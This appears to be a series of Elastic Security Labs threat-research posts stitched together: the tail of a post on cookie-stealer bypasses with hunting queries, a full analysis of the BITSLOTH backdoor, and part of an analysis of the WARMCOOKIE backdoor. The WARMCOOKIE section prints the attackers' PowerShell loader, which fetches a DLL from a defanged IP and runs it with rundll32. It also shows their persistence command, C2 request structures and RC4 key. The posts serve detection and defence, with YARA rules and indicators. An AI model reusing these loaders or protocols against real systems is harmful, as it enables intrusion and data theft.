The PHEMEDRONE stealer uses the known browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port 9222:

9222" title="PHEMEDRONE - network connection to chrome over port 9222" />

The following EQL query can be used to look for unusual processes performing similar behavior:

sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]

Chrome Browser Spawned from an Unusual Parent

The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:

FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions <= 10

Untrusted Binaries from Chrome Application folder

Since the Chrome elevation service trusts binaries running from the Chrome program files folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:

Unsigned DLLs loaded from google chrome application folder

FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions <= 10

Unsigned executable launched from google chrome application folder

FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions <= 10

Conclusion

Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.

Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.

Stealer Bypasses and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |-----|-----|-----|-----| | 27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d | SHA-256 | num.exe | STEALC | | 08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37 | SHA-256 | HardCoreCrack.exe | PHEMEDRONE | | 43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d | SHA-256 | Ranginess.exe | METASTEALER | | 84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176 | SHA-256 | | LUMMA | | b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b | SHA-256 | XenoStealer.exe | XENOSTEALER |

References

The following were referenced throughout the above research:

BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor

Seth Goodwin,Daniel Stepanic — Thu, 01 Aug 2024 00:00:00 GMT

BITSLOTH at a glance

BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.

The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.

Key takeaways

BITSLOTH is a newly discovered Windows backdoor
BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication
BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes
The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers

Discovery

Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.

One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.

We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.

Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.

After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (flengine.dll) inside the ProgramData directory. The actor then executed the music-making program FL Studio (fl.exe). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of FL Studio.

  c:\windows\syswow64\ntdll.dll!0x770841AC
  c:\windows\syswow64\ntdll.dll!0x7709D287
  c:\windows\syswow64\kernelbase.dll!0x76ED435F
  c:\windows\syswow64\kernelbase.dll!0x76ED42EF
  Unbacked!0x14EAB23
  Unbacked!0x14EA8B6
  c:\programdata\pl studio\flengine.dll!0x74AD2F2E
  c:\programdata\pl studio\fl.exe!0xDB3985
  c:\programdata\pl studio\fl.exe!0xDB3E5E
  c:\programdata\pl studio\fl.exe!0xDB4D3F
  c:\windows\syswow64\kernel32.dll!0x76B267F9
  c:\windows\syswow64\ntdll.dll!0x77077F4D
  c:\windows\syswow64\ntdll.dll!0x77077F1B

This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.

BITSLOTH overview

During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the Slaver component and the command and control server as the Master component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:

BITSLOTH employs no obfuscation around control flow or any kind of string encryption.

Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (.rdata).

This Simplified Chinese wide-character string translates to: Note: There is already a program running, do not run it again…

These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as EAGERBEE.

BITSLOTH code analysis

BITSLOTH is a backdoor with many different capabilities including:

Running and executing commands
Uploading and downloading files
Performing enumeration and discovery
Collecting sensitive data through keylogging and screen capturing

Mutex

BITSLOTH uses a hard-coded mutex (Global\d5ffff77ff77adad657658) within each sample to ensure only one instance is running at a time.

Communication

BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the Slaver component and the command and control server (C2) as the Master component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (rrrr_url). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.

Below are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.

rrrr_url216.238.121[.]132:8443
rrrr_url192.168.1[.]125:8443 
rrrr_url192.168.1[.]124:8443
rrrr_url45.116.13[.]178:443

One of the defining features of BITSLOTH is using the Background Intelligent Transfer Service (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been abused by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.

Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.

The BITS API is exposed through Window’s Component Object Model (COM) using the IBackgroundCopyManager interface. This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.

After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:

WU Client Download
WU Client Upload
WU Client Upload R

These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS job type. By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.

Below are the Microsoft definitions matching the type of BITS job:

BG_JOB_TYPE_DOWNLOAD - Specifies that the job downloads files to the client.
BG_JOB_TYPE_UPLOAD - Specifies that the job uploads a file to the server.
BG_JOB_TYPE_UPLOAD_REPLY - Specifies that the job uploads a file to the server, and receives a reply file from the server application.

After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (Microsoft Windows).

This download job sets the destination URL to http://updater.microsoft[.]com/index.aspx. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses SetNotifyCmdLine to execute the malware when the transfer state is changed.

Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years.

At this point, the malware has now been configured with persistence via a BITS job named Microsoft Windows. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (C:\ProgramData\Media\setup_wm.exe)

Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the WU Client Download job. This request URL is generated by combining the MAC address with a hard-coded string (wu.htm). Below is an example URL:

https://192.168.182.130/00-0C-29-0E-29-87/wu.htm

In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (wm) appended by random characters.

Command functionality

BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (0x2) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext.

In order to move fast, our team leveraged a helpful Python implementation of a BITS server released by SafeBreach Labs. By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.

The handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called WU Client Upload. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as P.bin for processes or S.bin for services.

http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin

Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.

This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (wm9F0C.tmp) linked to the job.

If we look at the temporary file, we can see the collected process information from the victim host.

Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.

Command handling table

| Command ID | Description | | ----- | ----- | | 0 | Collect running processes via WTSEnumerateProcessesW | | 1 | Get Windows services via EnumServicesStatusW | | 2 | Get system information via systeminfo command | | 3 | Retrieve all top-level Windows via EnumWindows | | 5 | Collect file listings | | 6 | Download file from C2 server | | 7 | Upload file to C2 server | | 10 | Terminate itself | | 11 | Set communication mode to HTTPS | | 12 | Set communication mode to HTTP | | 13 | Remove persistence | | 14 | Reconfigure persistence | | 15 | Cancel BITS download job (WU Client Download) | | 16 | Remove persistence and delete itself | | 17 | Thread configuration | | 18 | Duplicate of handler #2 | | 19 | Delete file based on file path | | 20 | Delete folder based on file path | | 21 | Starts terminal shell using stdin/stdout redirection | | 22 | Resets terminal handler (#21) | | 23 | Runs Windows tree command | | 24 | Updates BITSLOTH, delete old version | | 25 | Shutdown the machine via ExitWindowsEx | | 26 | Reboot the machine via ExitWindowsEx | | 27 | Log user off from the machine via ExitWindowsEx | | 28 | Terminate process based on process identifier (PID) | | 29 | Retrieves additional information via msinfo32 command | | 30 | Execute individual file via ShellExecuteW | | 34 | Create new directory via CreateDirectoryW | | 41 | Upload data to C2 server | | 42 | Checks for capture driver via capGetDriverDescriptionW | | 43 | Take screenshots of victim machine desktop | | 44 | Record keystrokes from victim machine | | 45 | Stop recording screenshot images | | 46 | Stop keylogger functionality |

Backdoor functionality

BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.

Discovery/enumeration

A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:

Retrieving process information via WTSEnumerateProcessesW
Collecting Windows services via EnumServicesStatusW
Enumerating all top-level Windows via EnumWindows with a callback function
Retrieving system information via windows utilities such as systeminfo and msinfo32

In many of the handlers, the locale version is configured to chs(Chinese - Simplified).

BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:

GET_DESKDOP → CSIDL_DESKTOPDIRECTORY (Desktop)
GET_BITBUCKET -> CSIDL_BITBUCKET (Recycle Bin)
GET_PERSONAl -> CSIDL_MYDOCUMENTS (My Documents)

BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows tree utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named aghzyxklg.

The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment.

Collection

In terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.

BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (capGetDriverDescriptionW).

BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (||) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name ciakfjoab and compressed with the DEFLATE algorithm using a .ZIP archive. These timestamped zipped archives are then sent out to the C2 server.

The handler leverages common screenshot APIs such as CreateCompatibleBitmap and BitBlt from Gdi32.dll.

For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using GetAsyncKeyState/GetKeyState. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a .ZIP file and sent outbound to the C2 server.

Execution / Maintenance

BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:

Capability to execute files stand-alone via ShellExecuteW
Windows terminal capability to execute commands and read data back via pipes
Create directories, perform reboots, shutdown the machine, terminate processes
Perform file upload and download between C2 server
Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features

BITSLOTH pivots

BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (15.235.132[.]67) using the same port (8443) with the same SSL certificate used from our intrusion.

While it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (1fcc35ea), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.

1fcc35ea)" title="BITSLOTH - VirusTotal Submitter (1fcc35ea)" />

A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.

REF 8747 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

[h4] Tactics Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting REF8747

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

YARA Signatures

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:

rule Windows_Trojan_BITSLOTH_05fc3a0a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-07-16"
        last_modified = "2024-07-18"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.BITSLOTH"
       license = "Elastic License v2"

    strings:
        $str_1 = "/%s/index.htm?RspID=%d" wide fullword
        $str_2 = "/%s/%08x.rpl" wide fullword
        $str_3 = "/%s/wu.htm" wide fullword
        $str_4 = "GET_DESKDOP" wide fullword
        $str_5 = "http://updater.microsoft.com/index.aspx" wide fullword
        $str_6 = "[U] update error..." wide fullword
        $str_7 = "RMC_KERNEL ..." wide fullword
        $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
        $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | ----- | ----- | ----- | ----- | | 4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00a19a4c404bf45df | SHA-256 | s.dll | BITSLOTH | | dfb76bcf5a3e29225559ebbdae8bdd24f69262492eca2f99f7a9525628006d88 | SHA-256 | 125.exe | BITSLOTH | | 4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50 | SHA-256 | setup_wm.exe | BITSLOTH | | 0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507 | SHA-256 | 1242.exe | BITSLOTH | | 0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4e64afd | SHA-256 | setup_wm.exe | BITSLOTH (VMProtect) | | 216.238.121[.]132 | ipv4-addr | BITSLOTH C2 server | | 45.116.13[.]178 | ipv4-addr | BITSLOTH C2 server | | 15.235.132[.]67 | ipv4-addr | BITSLOTH C2 server | | http ://updater.microsoft.com/index.aspx | | | BITSLOTH file indicator | | updater.microsoft.com | | | BITSLOTH file indicator |

References

The following were referenced throughout the above research:

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

Dipping into Danger: The WARMCOOKIE backdoor

Daniel Stepanic — Wed, 12 Jun 2024 00:00:00 GMT

WARMCOOKIE at a glance

Elastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new backdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage, our team identified code overlap with a previously publicly reported sample by eSentire. The unnamed sample (resident2.exe) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality. Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.

WARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.

This post will review an observed campaign and this new malware’s functionality. While the malware has a limited number of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global scale.

Key takeaways

REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor: WARMCOOKIE
WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim machine, and deploy additional payloads
Threat actors are spinning up new domains and infrastructure weekly to support these campaigns
This research includes an IDAPython script to decrypt strings from WARMCOOKIE
Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain

REF6127 campaign overview

Since late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected from previous open source reporting.

Once clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns documented by Google Cloud’s security team when discussing a new variant of URSNIF. Below is an example of the landing page collected from previous open source reporting.

Once the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named Update_23_04_2024_5689382.js; however, other samples used a different but similar naming structure.

This obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.

The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run the DLL with the Start export.

start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + 
    [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 
    'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' 
    -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + 
    ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job

REF6127 infrastructure overview

By leveraging tools like urlscan.io and VirusTotal, we observed the threat actor continually generating new landing pages rapidly on IP address 45.9.74[.]135. The actor pushed to target different recruiting firms in combination with keywords related to the job search industry.

!Domains associated with 45.9.74[.]135

Before hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial phishing URL, which redirects the different landing pages.

The threat actor generates new domains while the reputation catches up with each domain after each campaign run. At the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.

WARMCOOKIE malware anlaysis

WARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the PowerShell download with the execution of WARMCOOKIE using the Start export.

Stage 1

Stage 1 copies the downloaded DLL from a temporary directory with a random name, such as: wid4ta3v.3gm, and places a copy of the DLL at C:\ProgramData\RtlUpd\RtlUpd.dll

After the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to run with the following parameters.

"C:\WINDOWS\system32\rundll32.exe" "C:\ProgramData\RtlUpd\RtlUpd.dll",Start /p

With this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a screenshot from Hatching Triage showing these two stages:

Persistence

A critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the infection. The task name (RtlUpd) is scheduled to run every 10 minutes every day.

Stage 2

The second stage is where the DLL is combined with the command line (Start /p) and contains the core functionality of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell download.

Obfuscation

WARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted string in the .rdata section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes represent the string.

Below is the CyberChef recipe using the bytes from the screenshot above:

One interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted strings.

Dynamic API loading

To prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.

As demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is wiped from memory immediately after use, potentially avoiding memory signature scans.

Anti-debugging

The malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for checking the active number of CPU processors and physical/virtual memory values.

Below are the following conditions:

If the number of processors is greater than or equal to 4 and the calculated value from the GlobalMemoryStatusEx call is greater than or equal to 0xF00, the malware will continue execution
If the number of processors is greater than or equal to 8, the malware will continue execution
If the calculated value from the GlobalMemoryStatusEx call is greater than 0x2000, the malware will continue execution

Mutex

Each WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we have observed:

f92e6f3c-9cc3-4be0-966c-1be421e69140
91f785f4-2fa4-4c85-954d-b96768ca76f2

Before the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments with /p returns True or to check whether the scheduled task persistence needs to be created.

Execution

Before the backdoor makes its first outbound network request, it captures the following values used to fingerprint and identify the victim machine.

Volume serial number
DNS domain of the victim machine
Computer name
Username

This was a criteria used to identify the similarities to the malware in eSentire’s report.

The WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the checksum function is called with different seeds. We believe the developer added this step to make it a little harder for researchers to analyze and waste time.

The following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:

CRC32(c2_message_data)
CRC32(mutex) ^ volume serial number
CRC32(username) ^ CRC32(computer name)

Below is the implementation in Python with a usage example in the Appendix:

def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] << 8)
        for  in range(16):
            if (v6 ^ i) & 1:
                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
            else:
                i = (i >> 1) & 0xFFFFFFFF
            v6 >>= 1

    return ~i & 0xFFFFFFFF

Communication

WARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4 and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key being used in multiple samples. The key during this analysis is 24de21a8dc08434c

The malware uses a custom structure to send the initial request to the C2 server, including the previously described checksum values and several fields used to track the offsets and size of the variable data.

These values are sent through the HTTP cookie parameter using the following custom structure:

enum request_type
{ 
    REGISTRATION = 1, 
    COMMAND = 2 
};

struct os_info
{
    int major_version;
    int minor_version;
    int build_number;
    int version_calc;
};

struct initial_request
{
    int checksum_c2_message_data;
    int checksum_volume_mutex;
    int checksum_computer_name_username;
    request_type request_type;
    os_info os_ver;
    int offset_to_dns_domain;
    int size_base64_dns_domain;
    int offset_to_base64_computer_name;
    int size_base64_computer_name;
    int offset_to_base64_username;
    int size_base64_username;
    char base64_dns_domain[]; // Variable-length array
    char base64_username[]; // Variable-length array
    char base64_computer_name[]; // Variable-length array 
};

The first request to the C2 server is sent through a GET request using User Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705.

GET http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69[.]41
Connection: Keep-Alive
Pragma: no-cache

Below is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of the fields:

WARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function. For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the beginning (offset 0). Using the example above, this checksum value is 0xe51387e9

Before the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2 server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is located in the first four bytes of the request.

Below is a demonstration of this integrity check where the request data’s hash is 0x50d26cc3.

If the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to move to the next command handler.

Bot functionality

WARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.

| Command ID | Description | |------------|---------------------------------------------------------| | 1 | Retrieve victim details | | 2 | Record screenshots of victim machine | | 3 | Retrieve installed programs via Uninstall registry path | | 4 | Command-line execution (cmd.exe /c) | | 5 | Write file to victim machine | | 6 | Read file from victim machine | | 10 | Delete scheduled task persistence |

Retrieve victim details - command ID (1)

This handler fingerprints and identifies the victim machines by collecting the IP address and CPU information. Interestingly, the imports required for this handler are statically imported.

The malware uses HTTP POST requests when sending data back to the C2 server. The HTTP POST request data is encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64 encoded.

POST http://185.49.69[.]41/ HTTP/1.1
Cookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)
Host: 185.49.69.41
Content-Length: 136
Connection: Keep-Alive
Pragma: no-cache

  qI:f*m  yڂ  z ? !  ,!w   k i A  K    k8 .(M ޣ> ދ  u[ôz  0 -U~    9 z G(  *X  o_        * Y, q  glTs   XI8b\)W   W"

After decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64 encoded data is the IP Address and CPU info.

